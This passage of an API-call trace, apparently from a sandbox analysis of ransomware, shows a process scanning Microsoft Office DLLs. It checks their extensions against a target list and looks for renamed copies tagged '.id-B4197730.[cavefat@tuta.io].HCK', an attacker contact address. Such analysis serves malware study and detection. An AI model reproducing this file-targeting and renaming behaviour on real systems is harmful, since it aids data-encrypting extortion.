Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0232.864] lstrlenW (lpString=".doc") returned 4 [0232.864] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.864] lstrlenW (lpString=".docx") returned 5 [0232.864] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0232.864] lstrlenW (lpString=".pdf") returned 4 [0232.864] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.864] lstrlenW (lpString=".xls") returned 4 [0232.864] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.864] lstrlenW (lpString=".xlsx") returned 5 [0232.864] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0232.864] lstrlenW (lpString=".ppt") returned 4 [0232.864] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0232.864] lstrlenW (lpString=".zip") returned 4 [0232.864] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.864] lstrlenW (lpString=".rar") returned 4 [0232.865] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.865] lstrlenW (lpString=".bz2") returned 4 [0232.865] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.865] lstrlenW (lpString=".7z") returned 3 [0232.865] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0232.865] lstrlenW (lpString=".dbf") returned 4 [0232.865] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0232.865] lstrlenW (lpString=".1cd") returned 4 [0232.865] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0232.865] lstrlenW (lpString=".jpg") returned 4 [0232.865] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0232.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0232.865] lstrlenW (lpString=".doc") returned 4 [0232.865] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.865] lstrlenW (lpString=".docx") returned 5 [0232.865] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0232.865] lstrlenW (lpString=".pdf") returned 4 [0232.865] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.865] lstrlenW (lpString=".xls") returned 4 [0232.865] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.865] lstrlenW (lpString=".xlsx") returned 5 [0232.865] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0232.865] lstrlenW (lpString=".ppt") returned 4 [0232.865] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0232.865] lstrlenW (lpString=".zip") returned 4 [0232.865] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.865] lstrlenW (lpString=".rar") returned 4 [0232.865] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.865] lstrlenW (lpString=".bz2") returned 4 [0232.865] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.865] lstrlenW (lpString=".7z") returned 3 [0232.865] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0232.865] lstrlenW (lpString=".dbf") returned 4 [0232.865] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0232.865] lstrlenW (lpString=".1cd") returned 4 [0232.865] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-processthreads-l1-1-1.dll") returned 90 [0232.865] lstrlenW (lpString=".jpg") returned 4 [0232.865] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.865] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0232.865] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32 [0232.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.867] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=19136) returned 1 [0232.867] CloseHandle (hObject=0x4b0) returned 1 [0232.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0232.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0232.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0232.867] lstrlenW (lpString=".doc") returned 4 [0232.867] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.867] lstrlenW (lpString=".docx") returned 5 [0232.867] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0232.867] lstrlenW (lpString=".pdf") returned 4 [0232.867] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.867] lstrlenW (lpString=".xls") returned 4 [0232.867] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.867] lstrlenW (lpString=".xlsx") returned 5 [0232.867] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0232.867] lstrlenW (lpString=".ppt") returned 4 [0232.867] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0232.867] lstrlenW (lpString=".zip") returned 4 [0232.867] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.867] lstrlenW (lpString=".rar") returned 4 [0232.867] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.867] lstrlenW (lpString=".bz2") returned 4 [0232.868] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.868] lstrlenW (lpString=".7z") returned 3 [0232.868] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0232.868] lstrlenW (lpString=".dbf") returned 4 [0232.868] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0232.868] lstrlenW (lpString=".1cd") returned 4 [0232.868] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0232.868] lstrlenW (lpString=".jpg") returned 4 [0232.868] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0232.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0232.868] lstrlenW (lpString=".doc") returned 4 [0232.868] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.868] lstrlenW (lpString=".docx") returned 5 [0232.868] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0232.868] lstrlenW (lpString=".pdf") returned 4 [0232.868] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.868] lstrlenW (lpString=".xls") returned 4 [0232.868] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.868] lstrlenW (lpString=".xlsx") returned 5 [0232.868] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0232.868] lstrlenW (lpString=".ppt") returned 4 [0232.868] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0232.868] lstrlenW (lpString=".zip") returned 4 [0232.868] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.868] lstrlenW (lpString=".rar") returned 4 [0232.868] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.868] lstrlenW (lpString=".bz2") returned 4 [0232.868] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.868] lstrlenW (lpString=".7z") returned 3 [0232.868] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0232.868] lstrlenW (lpString=".dbf") returned 4 [0232.868] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0232.868] lstrlenW (lpString=".1cd") returned 4 [0232.868] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-synch-l1-2-0.dll") returned 81 [0232.868] lstrlenW (lpString=".jpg") returned 4 [0232.868] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.868] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0232.868] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0232.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.869] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=18624) returned 1 [0232.869] CloseHandle (hObject=0x4b0) returned 1 [0232.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0232.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0232.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0232.870] lstrlenW (lpString=".doc") returned 4 [0232.870] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.870] lstrlenW (lpString=".docx") returned 5 [0232.870] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0232.870] lstrlenW (lpString=".pdf") returned 4 [0232.870] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.870] lstrlenW (lpString=".xls") returned 4 [0232.870] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.870] lstrlenW (lpString=".xlsx") returned 5 [0232.870] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0232.870] lstrlenW (lpString=".ppt") returned 4 [0232.870] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0232.870] lstrlenW (lpString=".zip") returned 4 [0232.871] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.871] lstrlenW (lpString=".rar") returned 4 [0232.871] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.871] lstrlenW (lpString=".bz2") returned 4 [0232.871] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.871] lstrlenW (lpString=".7z") returned 3 [0232.871] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0232.871] lstrlenW (lpString=".dbf") returned 4 [0232.871] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0232.871] lstrlenW (lpString=".1cd") returned 4 [0232.871] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0232.871] lstrlenW (lpString=".jpg") returned 4 [0232.871] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0232.871] lstrlenW (lpString=".doc") returned 4 [0232.871] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.871] lstrlenW (lpString=".docx") returned 5 [0232.871] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0232.871] lstrlenW (lpString=".pdf") returned 4 [0232.871] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.871] lstrlenW (lpString=".xls") returned 4 [0232.871] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.871] lstrlenW (lpString=".xlsx") returned 5 [0232.871] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0232.871] lstrlenW (lpString=".ppt") returned 4 [0232.871] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0232.871] lstrlenW (lpString=".zip") returned 4 [0232.871] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.871] lstrlenW (lpString=".rar") returned 4 [0232.871] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.871] lstrlenW (lpString=".bz2") returned 4 [0232.871] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.871] lstrlenW (lpString=".7z") returned 3 [0232.871] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0232.871] lstrlenW (lpString=".dbf") returned 4 [0232.871] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0232.871] lstrlenW (lpString=".1cd") returned 4 [0232.871] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0232.871] lstrlenW (lpString=".jpg") returned 4 [0232.871] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.872] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0232.872] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0232.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.873] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11616) returned 1 [0232.873] CloseHandle (hObject=0x4b0) returned 1 [0232.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0232.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0232.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0232.873] lstrlenW (lpString=".doc") returned 4 [0232.873] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.873] lstrlenW (lpString=".docx") returned 5 [0232.873] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0232.873] lstrlenW (lpString=".pdf") returned 4 [0232.873] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.873] lstrlenW (lpString=".xls") returned 4 [0232.873] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.873] lstrlenW (lpString=".xlsx") returned 5 [0232.873] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0232.873] lstrlenW (lpString=".ppt") returned 4 [0232.873] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0232.873] lstrlenW (lpString=".zip") returned 4 [0232.873] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.873] lstrlenW (lpString=".rar") returned 4 [0232.873] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.873] lstrlenW (lpString=".bz2") returned 4 [0232.873] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.873] lstrlenW (lpString=".7z") returned 3 [0232.873] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0232.873] lstrlenW (lpString=".dbf") returned 4 [0232.873] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0232.873] lstrlenW (lpString=".1cd") returned 4 [0232.873] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0232.874] lstrlenW (lpString=".jpg") returned 4 [0232.874] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0232.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0232.874] lstrlenW (lpString=".doc") returned 4 [0232.874] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.874] lstrlenW (lpString=".docx") returned 5 [0232.874] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0232.874] lstrlenW (lpString=".pdf") returned 4 [0232.874] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.874] lstrlenW (lpString=".xls") returned 4 [0232.874] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.874] lstrlenW (lpString=".xlsx") returned 5 [0232.874] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0232.874] lstrlenW (lpString=".ppt") returned 4 [0232.874] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0232.874] lstrlenW (lpString=".zip") returned 4 [0232.874] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.874] lstrlenW (lpString=".rar") returned 4 [0232.874] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.874] lstrlenW (lpString=".bz2") returned 4 [0232.874] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.874] lstrlenW (lpString=".7z") returned 3 [0232.874] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0232.874] lstrlenW (lpString=".dbf") returned 4 [0232.874] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0232.874] lstrlenW (lpString=".1cd") returned 4 [0232.874] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-xstate-l2-1-0.dll") returned 82 [0232.874] lstrlenW (lpString=".jpg") returned 4 [0232.874] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.874] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0232.874] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0232.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0232.875] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=19648) returned 1 [0232.875] CloseHandle (hObject=0x4b0) returned 1 [0232.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0232.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0232.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0232.876] lstrlenW (lpString=".doc") returned 4 [0232.876] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.876] lstrlenW (lpString=".docx") returned 5 [0232.876] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0232.876] lstrlenW (lpString=".pdf") returned 4 [0232.876] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.876] lstrlenW (lpString=".xls") returned 4 [0232.876] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.876] lstrlenW (lpString=".xlsx") returned 5 [0232.876] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0232.876] lstrlenW (lpString=".ppt") returned 4 [0232.876] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0232.876] lstrlenW (lpString=".zip") returned 4 [0232.876] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.876] lstrlenW (lpString=".rar") returned 4 [0232.876] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.876] lstrlenW (lpString=".bz2") returned 4 [0232.876] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.876] lstrlenW (lpString=".7z") returned 3 [0232.876] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-conio-l1-1-0.dll") returned 80 [0232.876] lstrlenW (lpString=".dbf") returned 4 [0232.876] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft 